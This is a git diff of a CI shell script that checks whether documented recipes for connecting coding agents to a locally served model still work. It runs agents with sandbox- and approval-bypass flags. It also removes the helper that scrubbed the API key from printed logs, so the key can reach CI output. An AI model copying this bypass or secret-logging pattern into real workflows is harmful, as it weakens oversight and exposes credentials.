diff --git a/.gitattributes b/.gitattributes index 0025f2a697..5f04b5e9d1 100644 --- a/.gitattributes +++ b/.gitattributes @@ -6,7 +6,7 @@ # them when run in WSL/Linux (e.g. `set -e` -> "set: Illegal option -"). *.sh text eol=lf -# Normalize Unsloth frontend sources to LF. Scoped to the frontend tree (rather +# Normalize Studio frontend sources to LF. Scoped to the frontend tree (rather # than repo-wide *.ts/*.tsx/... rules) so the policy can't force LF on files # elsewhere. text=auto lets Git detect and leave binary assets (logos, fonts) # untouched while text files (.ts/.tsx/.json/.html/.svg/...) are stored as LF. diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh index b63ac94b93..3c7cea919c 100755 --- a/.github/scripts/agent-guides-drive.sh +++ b/.github/scripts/agent-guides-drive.sh @@ -6,12 +6,12 @@ # Local Agent Guides CI. All failures from here are failure class (c) # "guide drift": the server preflight already passed and the agent CLI # already installed, so a failure here means the documented recipe in -# unsloth_cli/commands/start.py no longer produces a working flow. +# unsloth_cli/commands/connect.py no longer produces a working flow. # -# Self-updating: for all six agents (claude, codex, hermes, openclaw, -# opencode, pi) we obtain the exact env + command from -# `unsloth start --no-launch` and run THAT, so a recipe change is -# exercised automatically. +# Self-updating: for the 5 agents with a connect.py recipe we obtain the +# exact env + command from `unsloth connect --no-launch` and run +# THAT, so a recipe change is exercised automatically. Pi (no connect.py +# command at HEAD) is driven by a hand-written recipe. # # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt # can never hang the runner -- a timeout is reported as guide drift with a @@ -36,23 +36,6 @@ AGENT="${2:?usage: agent-guides-drive.sh }" # Determinism (seed/temp) is applied at the server level by # serve-unsloth-run.sh --extra; agents inherit it through the API. TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}" -# opencode is the slow outlier. Unlike the print-mode agents (claude -p, codex -# exec) it runs a full turn AND a separate small_model call to name the session, -# so one connection reply takes ~8 min on a CPU-served 4B -- right at the shared -# 600s cap, so the cell flaked when a run drifted past a ~480s success. Give it -# headroom (still well under the 40-min job budget); the fast agents keep the -# tight cap that still catches a real headless-TTY hang. -case "$AGENT" in - opencode) - # Double it, but only for a bare-integer seconds value. A GNU timeout(1) - # duration suffix (s/m/h/d, including floats like 0.5s) is left unchanged so - # the arithmetic never sees a non-number; timeout(1) parses it directly. - case "$TIMEOUT" in - *[!0-9]*) ;; - *) TIMEOUT=$(( TIMEOUT * 2 )) ;; - esac - ;; -esac # Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner # IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless @@ -70,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs" WORKDIR_BASE="$REPO_ROOT/agent-workdir" CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh" mkdir -p "$LOGS_DIR" "$REDACTED_DIR" -CONNECT_REF="unsloth_cli/commands/start.py" +CONNECT_REF="unsloth_cli/commands/connect.py" # Prefill-shrinking flags for Claude Code. The heavyweight agents send # multi-thousand-token system prompts + full tool schemas, which on a CPU-only # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model). # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file) # and restricting tools cuts the prefill to a few hundred tokens so it completes -# quickly on CPU. These only shape the request size; the start.py recipe +# quickly on CPU. These only shape the request size; the connect.py recipe # (endpoint, auth, model) is still exercised end to end. # # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured @@ -122,13 +105,6 @@ redact() { done } -# Print a file to the log with the key scrubbed, without mutating it (the raw file is -# still needed to parse the real env). Use this instead of `cat` for any transcript that -# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs. -cat_redacted() { - sed "s#${UNSLOTH_API_KEY}##g" "$1" -} - # A reply must be non-empty and free of connection/auth errors. assert_reply() { local out="$1" @@ -155,98 +131,91 @@ run_timed() { # $1=outfile, rest=command return "$rc" } -# Read a value from an `export VAR=...` line in the connect --no-launch output. -# `unsloth start` writes each agent's session config off the user's ~ and points -# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG / -# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here. -raw_env() { # $1 = var name -> value (one shlex-quote layer stripped) - local raw="$LOGS_DIR/connect-${AGENT}.txt" - local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)" - v="${v#\'}"; v="${v%\'}"; printf '%s' "$v" +# ── Pi: no connect.py command at HEAD -> hand-written recipe ────────────── +write_pi_config() { + if unsloth connect pi --help >/dev/null 2>&1; then + # Tripwire: once a real recipe exists, the hand-written config would mask any + # drift in it, defeating the point of this CI. Fail hard so the cell is + # migrated to the self-updating `unsloth connect pi --no-launch` path. + guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)" + fi + mkdir -p "$HOME/.pi/agent" + python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY' +import json, os, sys +base, key, model = sys.argv[1], sys.argv[2], sys.argv[3] +cfg = {"providers": {"unsloth": { + "api": "openai-completions", + "baseUrl": f"{base}/v1", + "apiKey": key, + "models": [{"id": model}], +}}} +path = os.path.expanduser("~/.pi/agent/models.json") +with open(path, "w") as fh: + json.dump(cfg, fh, indent=2) +PY + cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true + redact "$REDACTED_DIR/pi-models.json" } -# ── 5-agent start.py path: parse env + command from --no-launch ───────── +# ── 5-agent connect.py path: parse env + command from --no-launch ───────── # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the -# launch command on the last printed line), and runs start.py's config -# writers as a side effect (it writes each agent's relocated session config). +# launch command on the last printed line), and runs connect.py's config +# writers as a side effect (it writes ~/.codex, ~/.claude, etc.). parse_connect() { local raw="$LOGS_DIR/connect-${AGENT}.txt" - # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their - # config (which now prompts by default), so the file-edit test opts into auto-approval - # here, the same intent as claude/codex's per-call bypass flags. - local yolo=() - [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo) - if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then - cat_redacted "$raw" - guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero" + if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then + cat "$raw" + guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero" fi - echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw" + echo "[$AGENT] connect --no-launch printed:"; cat "$raw" CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)" - # The launch command is the last non-export, non-status line. start.py - # prints "Unsloth · model " and "Updated ..." status lines first. - CONNECT_CMD="$(grep -vE '^(export |unset |Unsloth |Updated |Disabled |Warning|Loading)' "$raw" \ + # The launch command is the last non-export, non-status line. connect.py + # prints "Studio · model " and "Updated ..." status lines first. + CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \ | grep -E '[^[:space:]]' | tail -1)" [ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output" redact "$raw" } -# Cross-check the documented contract knobs so silent start.py changes +# Cross-check the documented contract knobs so silent connect.py changes # (env-var rename, wire_api flip, attribution setting drop) also fail/flag. crosscheck_contract() { local raw="$LOGS_DIR/connect-${AGENT}.txt" - local cfg home case "$AGENT" in codex) grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \ - || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)" - home="$(raw_env CODEX_HOME)" - # An empty relocation var would make cfg "/config.toml" and silently - # skip the [ -f ] contract check below; fail loudly instead. - [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())" - cfg="$home/config.toml" - if [ -f "$cfg" ]; then - grep -q 'wire_api = "responses"' "$cfg" \ - || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml" - cp "$cfg" "$REDACTED_DIR/codex-config.toml" + || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)" + if [ -f "$HOME/.codex/config.toml" ]; then + grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \ + || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml" + cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml" fi grep -q 'codex --oss --profile unsloth_api' "$raw" \ || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'" ;; claude) grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \ - || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())" - grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \ - || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())" + || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())" + if [ -f "$HOME/.claude/settings.json" ]; then + grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \ + || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)" + cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json" + fi ;; hermes) grep -q 'UNSLOTH_API_KEY' "$raw" \ - || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)" - home="$(raw_env HERMES_HOME)" - [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())" - cfg="$home/config.yaml" - [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml" + || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)" + [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml" ;; openclaw) - cfg="$(raw_env OPENCLAW_CONFIG_PATH)" - if [ -n "$cfg" ] && [ -f "$cfg" ]; then - grep -q '"openai-completions"' "$cfg" \ + if [ -f "$HOME/.openclaw/openclaw.json" ]; then + grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \ || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)" - cp "$cfg" "$REDACTED_DIR/openclaw.json" + cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json" fi ;; opencode) - cfg="$(raw_env OPENCODE_CONFIG)" - [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json" - ;; - pi) - # Pi has no config-dir env var; the session is HOME-relocated, and the - # provider config lives at $HOME/.pi/agent/models.json. - cfg="$(raw_env HOME)/.pi/agent/models.json" - if [ -f "$cfg" ]; then - grep -q '"openai-completions"' "$cfg" \ - || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)" - cp "$cfg" "$REDACTED_DIR/pi-models.json" - fi + [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json" ;; esac redact "$REDACTED_DIR"/* 2>/dev/null || true @@ -260,23 +229,16 @@ crosscheck_contract() { # Hermes: an explicit empty cli toolset disables all tools (and drops the # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands. -# Hermes enables its default cli toolset when the session config does not pin one, -# so we must set platform_toolsets.cli explicitly to [] (not just append) to get -# zero tools. That needs a YAML parser, and the runner's bare python3 has no -# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run -# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml -# that `unsloth start` printed, not the user's ~/.hermes. +# hermes ships a DEFAULT config.yaml that already has a populated +# platform_toolsets, and `unsloth connect` merges into it, so we must override +# cli (not just append). That needs a YAML parser, and the runner's bare +# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py +# imports yaml), so run the patch with that interpreter. # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.) patch_hermes_tools() { # $1 = none|default - # Check the raw var BEFORE appending /config.yaml: the joined path is never - # empty, so the old guard could not fire and the patcher would die on - # "/config.yaml" with a bare traceback instead of this clear failure. - local home; home="$(raw_env HERMES_HOME)" - [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())" - local cfg; cfg="$home/config.yaml" # Find a python that can import yaml. The runner's bare python3 cannot, but the # interpreter in the `unsloth` console-script shebang provably can (it runs - # start.py's write_hermes_config, which imports yaml). Try that first, then + # connect.py's write_hermes_config, which imports yaml). Try that first, then # any python on PATH, then the venv sibling, picking the first with PyYAML. local cand py="" shebang shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')" @@ -285,13 +247,13 @@ patch_hermes_tools() { # $1 = none|default { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi done - [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config" - echo "[hermes] patching $cfg with $py" - "$py" - "$1" "$cfg" <<'PY' + [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml" + echo "[hermes] patching config with $py" + "$py" - "$1" <<'PY' import os, sys import yaml mode = sys.argv[1] -p = sys.argv[2] +p = os.path.expanduser("~/.hermes/config.yaml") cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {} ts = cfg.get("platform_toolsets") if not isinstance(ts, dict): @@ -312,14 +274,10 @@ PY # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for # both modes. --agent must reference a defined agent, so write it before invoking. patch_openclaw_agent() { # $1 = notools|tools - # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that - # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw). - local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)" - [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())" - python3 - "$1" "$cfg" <<'PY' + python3 - "$1" <<'PY' import os, sys, json mode = sys.argv[1] -p = sys.argv[2] +p = os.path.expanduser("~/.openclaw/openclaw.json") cfg = json.load(open(p)) if os.path.exists(p) else {} agents = cfg.setdefault("agents", {}) agents.setdefault("defaults", {})["skipBootstrap"] = True @@ -335,24 +293,20 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}") PY } -# Build an invoke script that applies start.py's env then runs the launch +# Build an invoke script that applies connect.py's env then runs the launch # command (with extra args appended) under bash. We do NOT eval connect's env # into this shell; we write it into a one-shot script so the export/unset -# semantics are exactly what start.py printed. The script path is absolute +# semantics are exactly what connect.py printed. The script path is absolute # so it is valid even when the caller has cd'd into a scratch work dir. invoke_via_connect() { # $1=outfile, rest=extra args appended to the command local out="$1"; shift local script="$LOGS_DIR/invoke-${AGENT}.sh" local real; real="$(mktemp)" - # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a - # session knob without editing the user's config; empty -> use what start.py emitted. - local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}" { echo "set -uo pipefail" echo "$CONNECT_ENV" - [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA" # Append extra args (the prompt / flags) to the launch command verbatim. - printf '%s' "$cmd" + printf '%s' "$CONNECT_CMD" local a for a in "$@"; do printf ' %q' "$a"; done printf '\n' @@ -364,9 +318,7 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command # Writing the redacted copy up front keeps the key out of the artifact even if # the run times out (run_timed exits before returning here). cp "$real" "$script"; redact "$script" - # The connect one-liner now carries the key as an inline env assignment; scrub it on - # the way to the log (the executed $real keeps the live value). - echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/} $*" + echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*" run_timed "$out" bash "$real" local rc=$? rm -f "$real" @@ -380,23 +332,27 @@ case "$MODE" in connection) PROMPT='Reply with exactly the single word: pong' OUT="$LOGS_DIR/${AGENT}-connection.txt" - parse_connect - crosscheck_contract - # claude/codex run in print mode via the flags start.py emits - # (claude -p / codex exec). For agents whose default subcommand prints - # to stdout we pass the prompt through ctx.args. - case "$AGENT" in - claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; - codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; - opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; - pi) invoke_via_connect "$OUT" -p "$PROMPT" ;; - hermes) patch_hermes_tools none - invoke_via_connect "$OUT" -z "$PROMPT" ;; - openclaw) patch_openclaw_agent notools - CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \ - --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; - *) invoke_via_connect "$OUT" "$PROMPT" ;; - esac + if [ "$AGENT" = "pi" ]; then + write_pi_config + run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT" + else + parse_connect + crosscheck_contract + # claude/codex run in print mode via the flags connect.py emits + # (claude -p / codex exec). For agents whose default subcommand prints + # to stdout we pass the prompt through ctx.args. + case "$AGENT" in + claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; + codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; + opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; + hermes) patch_hermes_tools none + invoke_via_connect "$OUT" -z "$PROMPT" ;; + openclaw) patch_openclaw_agent notools + invoke_via_connect "$OUT" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; + *) invoke_via_connect "$OUT" "$PROMPT" ;; + esac + fi # A non-zero exit from the documented launch command is drift even if it # printed something: a benign-looking "command not found" / usage dump would # otherwise slip past assert_reply (which only flags empty/error-keyword text). @@ -415,21 +371,22 @@ case "$MODE" in T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.' T2='Run hello.py with python and show me the exact output.' - # The start.py recipe writers + crosscheck must see the repo; run them - # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw - # gate tool approval through their config (prompting by default), so file-edit - # opts them into auto-approval to run edits/commands headlessly. - case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac - parse_connect - crosscheck_contract - # File-edit needs real tools, so we cannot zero them as in connection. - # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md - # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work - # dir is empty, so no project context files are auto-loaded either. - case "$AGENT" in - hermes) patch_hermes_tools default ;; - openclaw) patch_openclaw_agent tools ;; - esac + # The connect.py recipe writers + crosscheck must see the repo; run them + # from the repo root BEFORE cd-ing into the scratch work dir. + if [ "$AGENT" != "pi" ]; then + parse_connect + crosscheck_contract + # File-edit needs real tools, so we cannot zero them as in connection. + # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md + # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work + # dir is empty, so no project context files are auto-loaded either. + case "$AGENT" in + hermes) patch_hermes_tools default ;; + openclaw) patch_openclaw_agent tools ;; + esac + else + write_pi_config + fi # Drive from inside the work dir so the agent edits files there. All log # writes use absolute $LOGS_DIR, so cwd does not matter for them. @@ -438,14 +395,7 @@ case "$MODE" in invoke_turn() { # $1=outfile $2=continue? $3=prompt local out="$1" cont="$2" prompt="$3" case "$AGENT" in - pi) - # Pi continues the previous session with -c; provider/model come from - # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here. - if [ "$cont" = "continue" ]; then - invoke_via_connect "$out" -p --continue "$prompt" - else - invoke_via_connect "$out" -p "$prompt" - fi ;; + pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;; claude) # --dangerously-skip-permissions lets headless claude actually use the # Write/Bash tools (otherwise it blocks on an approval prompt and emits @@ -466,7 +416,7 @@ case "$MODE" in fi ;; opencode) invoke_via_connect "$out" run "$prompt" ;; hermes) invoke_via_connect "$out" -z "$prompt" ;; - openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \ + openclaw) invoke_via_connect "$out" agent --local --agent ci \ --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;; *) invoke_via_connect "$out" "$prompt" ;; esac @@ -516,180 +466,33 @@ case "$MODE" in # right before the measured turn, so an earlier turn's reuse can't leak in. LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}" export LLAMA_LOG_DIR - parse_connect # prints session env + suppression flags (no ~/.claude write) + parse_connect # writes ~/.claude/settings.json (header=0) + env crosscheck_contract PROMPT='Reply with exactly the single word: pong' - # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 + - # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a - # HIT on the continued turn, since the system-prompt prefix is stable. + # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on + # the continued turn. connect.py's ensure_claude_attribution_header() set 0. invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2 invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT - # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip - # the env var to 1 and strip the suppression flags from the launch command - # (without them the dynamic attribution line is included and changes every - # turn, so the shared prefix moves and the KV cache is invalidated, ~90% - # slower). This is session-only: nothing is written to ~/.claude. - CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1' - CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \ - | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")" + # Phase B: header ENABLED -> expect a MISS. The header prepends a + # per-request-changing attribution line to the system prompt, so the shared + # prefix changes every turn and the KV cache is invalidated (~90% slower); + # this is exactly what the guide flag prevents. + python3 - <<'PY' +import json, os +p = os.path.expanduser("~/.claude/settings.json") +s = json.load(open(p)) if os.path.exists(p) else {} +s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1" +json.dump(s, open(p, "w"), indent=2) +PY invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT" FROM_MISS="$(bash "$CACHE_HELPER" mark)" invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS - unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE - echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" - ;; - - # ── resume: does a launched agent's session survive exit and resume? ──── - # Unlike the other modes, this drives the real LAUNCH path (`unsloth start - # ...`, the interactive default), not the --no-launch recipe. That - # path relocates each agent's home to a throwaway temp dir wiped on exit, so - # a session cannot be resumed -- unless --persist routes it to the stable - # Unsloth agents dir instead. We run one headless turn per pass and check - # whether the turn left a session in a persistent store (deterministic, no - # reliance on the model recalling anything), for a baseline pass and a - # --persist pass, and assert the expected split for this agent. - resume) - CODEWORD="PLATYPUS7" - T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK." - T2="What codeword did I ask you to remember? Reply with just that word." - WORK="$WORKDIR_BASE/${AGENT}-resume" - - # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to. - # Read it from a --no-launch probe (which also writes the agent's config - # there). codex/pi relocate their whole home/HOME here; opencode/claude keep - # their session data in a fixed user dir, so STABLE_HOME stays empty for them. - parse_connect - case "$AGENT" in - codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;; - pi) STABLE_HOME="$(raw_env HOME)" ;; - *) STABLE_HOME="" ;; - esac - - # The persistent stores a session would land in if it were NOT wiped. We - # count files here before/after each turn; a positive delta means the - # session persisted (is resumable), zero means it went to a wiped temp dir. - resume_tracked_dirs() { - case "$AGENT" in - codex) printf '%s\n' "$HOME/.codex" ;; - opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;; - claude) printf '%s\n' "$HOME/.claude" ;; - pi) printf '%s\n' "$HOME/.pi" ;; - *) : ;; - esac - [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME" - } - count_session_files() { - local total=0 d n - while IFS= read -r d; do - [ -n "$d" ] && [ -d "$d" ] || continue - n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n)) - done < <(resume_tracked_dirs) - echo "$total" - } - - # The headless first-turn subcommand per agent (mirrors file-edit's map), - # forwarded verbatim through the launch path as passthrough args. - set_t1_cmd() { - case "$AGENT" in - claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;; - codex) T1_CMD=(exec "$T1") ;; - opencode) T1_CMD=(run "$T1") ;; - pi) T1_CMD=(-p "$T1") ;; - *) guide_fail "resume mode does not cover agent '$AGENT'" ;; - esac - } - - # Run one headless turn through the launch path. $1=outfile, $2="" or - # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool - # prompt can hang; --api-key attaches to the already-served CI model. - launch_turn() { - local out="$1" rflag="$2"; shift 2 - local flag=(); [ -n "$rflag" ] && flag=("$rflag") - run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \ - --api-key "$UNSLOTH_API_KEY" "$@" - local rc=$? - redact "$out" - return "$rc" - } - - # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED - # from the session-store delta. Runs in the main shell (not a command - # substitution) so a hang's guide_fail actually fails the job and the - # progress lines reach the CI log. $1 = "" (baseline) or "--persist". - RESULT="" - run_pass() { - local rflag="$1" label="baseline" - [ -n "$rflag" ] && label="resume" - rm -rf "$WORK"; mkdir -p "$WORK" - set_t1_cmd - local out="$LOGS_DIR/${AGENT}-resume-${label}.txt" - local before after rc - before="$(count_session_files)" - pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK" - launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$? - popd >/dev/null || true - after="$(count_session_files)" - echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})" - # The turn must succeed for the delta to mean anything: an agent that writes a - # session file then errors would otherwise be misread as PERSISTED. Mirror the - # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall - # below stays WARN-only, driven by its own launch_turn calls). - [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \ - guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; } - if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi - } - - run_pass ""; BASELINE="$RESULT" - # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix. - # opencode/claude persist either way, so the baseline already proves it and a - # second full CPU turn only risks a timeout; skip it for them. - case "$AGENT" in - codex|pi) run_pass "--persist"; RESUME="$RESULT" ;; - *) RESUME="n/a (persists either way)" ;; - esac - - # Expected: codex/pi relocate their whole home to the temp dir, so a plain - # launch is WIPED and only --persist PERSISTS. opencode/claude keep their - # session data in a fixed user dir, so the baseline already PERSISTS. - case "$AGENT" in - codex|pi) EXPECT_BASELINE="WIPED" ;; - opencode|claude) EXPECT_BASELINE="PERSISTED" ;; - esac - - echo "──────────────────────────────────────────────" - echo "[$AGENT] RESUME EXPERIMENT" - echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})" - echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}" - echo "──────────────────────────────────────────────" - - [ "$BASELINE" = "$EXPECT_BASELINE" ] \ - || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}" - case "$AGENT" in - codex|pi) - [ "$RESUME" = "PERSISTED" ] \ - || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;; - esac - - # Flagship behavioral proof (codex only, WARN-only): after a --persist plant, - # resume the session and check the model actually recalls the codeword. A - # miss is not a failure (the CI model is small); the mechanism gate above is - # the real assertion. - if [ "$AGENT" = "codex" ]; then - rm -rf "$WORK"; mkdir -p "$WORK" - ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true - ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true - if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then - echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}" - else - echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed" - fi - fi - echo "[$AGENT] resume OK" + echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)" ;; *) diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh index daf4bacd3e..dfab8aec80 100755 